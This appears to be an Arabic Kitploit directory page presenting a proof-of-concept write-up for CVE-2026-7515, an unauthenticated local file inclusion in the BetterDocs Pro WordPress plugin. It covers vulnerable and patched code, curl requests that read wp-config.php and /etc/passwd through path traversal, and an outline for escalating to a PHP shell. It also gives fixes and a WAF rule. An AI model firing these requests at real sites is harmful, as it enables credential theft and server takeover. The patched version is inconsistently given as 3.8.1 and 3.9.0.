Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/polosss/by-poloss..-..cve-2026-7515-poc
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليم
GitHubpolosss/by-poloss..-..cve-2026-7515-poc

By-Poloss..-..CVE-2026-7515-PoC

تضمين ملف محلي غير مصادق عليه

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
1منذ 2 أشهرلم تتم المراجعة بعد

CVE-2026-7515: BetterDocs Pro <= 3.8.0 - تضمين ملف محلي غير مصادق عليه

نظرة عامة

الحقلالقيمة
CVE IDCVE-2026-7515
درجة CVSS9.8 (حرج)
متجه CVSSAV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
المتأثرBetterDocs Pro <= 3.8.0
الإصدار المُصحَّح3.8.1
الباحثNguyen Ngoc Duc (duc193)
نُشِرَ18 يونيو 2026
CWECWE-98: التحكم غير السليم في اسم الملف لجملة Include/Require

وصف الثغرة

إضافة BetterDocs Pro لووردبريس معرضة لـ تضمين ملف محلي في الإصدارات حتى 3.8.0 من خلال معامل doc_style. وهذا يمكّن المهاجمين غير المصادَق عليهم من تضمين وتنفيذ ملفات PHP عشوائية على الخادم.

تحليل التلوث: المصدر ← المصب

المصدر (إدخال المستخدم)

الملف: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php السطر: 141

root@kitploit:~
// VULNERABLE CODE (v3.8.0)
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

المشكلة: يتم استخدام الإدخال المُتحكَّم به من قبل المستخدم من $_POST['doc_style'] مباشرة دون أي تحقق.

المصب (دالة خطيرة)

الملف: wp-content/plugins/betterdocs-pro/includes/Core/Encyclopedia.php السطر: 195

root@kitploit:~
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [
    'doc' => $doc,
    'excerpt' => $excerpt,
    'dictionary_learn_more_text' => $learn_more_text,
    'item_heading_tag' => $item_heading_tag,
]);

المشكلة: يتم إدراج متغير $doc_style (المُتحكَّم به من قبل المستخدم) مباشرة في مسار الملف الممرر إلى views->get()، والذي يقوم بتضمين الملف.

تدفق البيانات

root@kitploit:~
HTTP POST Request
        ↓
$_POST['doc_style'] = "../../../../../../wp-config"
        ↓
لا تحقق (الإصدار الضعيف 3.8.0)
        ↓
betterdocs_pro()->views->get("layouts/encyclopedia/$doc_style", [...])
        ↓
تضمين ملف عبر include() أو require()
        ↓
تنفيذ كود PHP عشوائي / قراءة ملف

الفرق: الضعيف مقابل المُصحَّح

الإصدار الضعيف 3.8.0

root@kitploit:~
// Line 141 in includes/Core/Encyclopedia.php
$doc_style = isset($_POST['doc_style']) ? $_POST['doc_style'] : 'doc-grid';

الإصدار المُصحَّح 3.8.1

root@kitploit:~
// Line 145-148 in includes/Core/Encyclopedia.php
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

الاختلافات الرئيسية

نقاط نهاية AJAX المتأثرة

كلا نقطتي النهاية تسجلان مع خطافات nopriv، مما يعني أنهما متاحتان للمستخدمين غير المصادَق عليهم:

root@kitploit:~
// Line 17-18
add_action('wp_ajax_load_more_docs_section', [$this, 'load_more_docs_section']);
add_action('wp_ajax_nopriv_load_more_docs_section', [$this, 'load_more_docs_section']);

// Line 20-21
add_action('wp_ajax_load_more_docs', [$this, 'load_more_docs']);
add_action('wp_ajax_nopriv_load_more_docs', [$this, 'load_more_docs']);

نقاط النهاية:

  1. POST /wp-admin/admin-ajax.php?action=load_more_docs_section
  2. POST /wp-admin/admin-ajax.php?action=load_more_docs

إثبات المفهوم

المتطلبات الأساسية

  • encyclopedia_nonce صالح (موجود في مصدر الصفحة على الصفحات التي تحتوي على كتلة BetterDocs Encyclopedia)

الاستغلال اليدوي

root@kitploit:~
# Step 1: Read wp-config.php
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs_section" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../wp-config" \
  -d "page=1"

# Step 2: Read /etc/passwd
curl -X POST "https://target.com/wp-admin/admin-ajax.php" \
  -d "action=load_more_docs" \
  -d "_nonce=VALID_ENCRYPTION_NONCE" \
  -d "doc_style=../../../../../../etc/passwd" \
  -d "page=0"

العثور على الـ Nonce

يتم عرض encyclopedia_nonce في JavaScript على الصفحات التي يتم فيها تقديم كتلة BetterDocs Encyclopedia:

root@kitploit:~
// In betterdocs-encyclopedia.js
betterdocsEncyclopedia = {
    'site_url': '...',
    'ajax_url': '...',
    '_nonce': 'VALID_NONCE_HERE'  // <-- This is what you need
};

مسار من LFI إلى RCE

  1. قراءة wp-config.php - استخراج بيانات اعتماد قاعدة البيانات
  2. رفع شل PHP - عبر رفع الوسائط في ووردبريس أو محرر السمة
  3. تضمين ملف ضار - عبر ثغرة LFI
  4. تنفيذ الكود - الحصول على تنفيذ كود عن بعد

التأثير

الإصلاح

الإصلاح الأساسي

التحديث إلى BetterDocs Pro الإصدار 3.8.1 أو أحدث

الإصلاح اليدوي (إذا لم يكن التحديث ممكنًا)

قم بتطبيق التصحيح التالي على includes/Core/Encyclopedia.php:

root@kitploit:~
// Replace line 141 with:
$allowed_doc_styles = ['doc-grid', 'doc-list', 'doc-list-2'];
$doc_style = isset($_POST['doc_style']) && in_array($_POST['doc_style'], $allowed_doc_styles, true)
    ? $_POST['doc_style']
    : 'doc-grid';

طبق نفس الإصلاح على السطر 236.

قواعد WAF (تخفيف مؤقت)

أضف قاعدة لمنع اجتياز المسار في معامل doc_style:

root@kitploit:~
# Block doc_style with path traversal patterns
SecRule ARGS:doc_style "@rx (\.\.\/|\.\.\\|%2e%2e)" \
    "id:1001,phase:1,deny,status:403,msg:'LFI Attempt Blocked'"

المراجع

  • Wordfence Intelligence
  • BetterDocs Official
  • CVE Details
  • WPVDB

الملفات التي تم تحليلها

root@kitploit:~
Vulnerable Version: betterdocs-pro_3.8.0.zip
Patched Version:   betterdocs-pro_3.9.0.zip

Key Files:
- includes/Core/Encyclopedia.php    (VULNERABLE)
- includes/Core/Scripts.php         (Contains nonce generation)
- includes/Utils/Views.php          (File inclusion logic)
تنزيل الأداة
الجانبالضعيف (3.8.0)المُصحَّح (3.8.1)
التحققلا يوجدقائمة بيضاء باستخدام in_array()
القيم المسموح بهاأي سلسلةفقط doc-grid, doc-list, doc-list-2
فحص النوعلامقارنة صارمة (===)
نوع التأثيرالخطورةالوصف
السريةعاليةقراءة ملفات عشوائية (wp-config.php, /etc/passwd, إلخ)
السلامةعاليةتعديل أو حذف الملفات
التوفرعاليةرفض الخدمة
متجه الوصولشبكةقابل للاستغلال عن بعد
الصلاحياتلا شيءلا يتطلب مصادقة
تفاعل المستخدمغير مطلوب-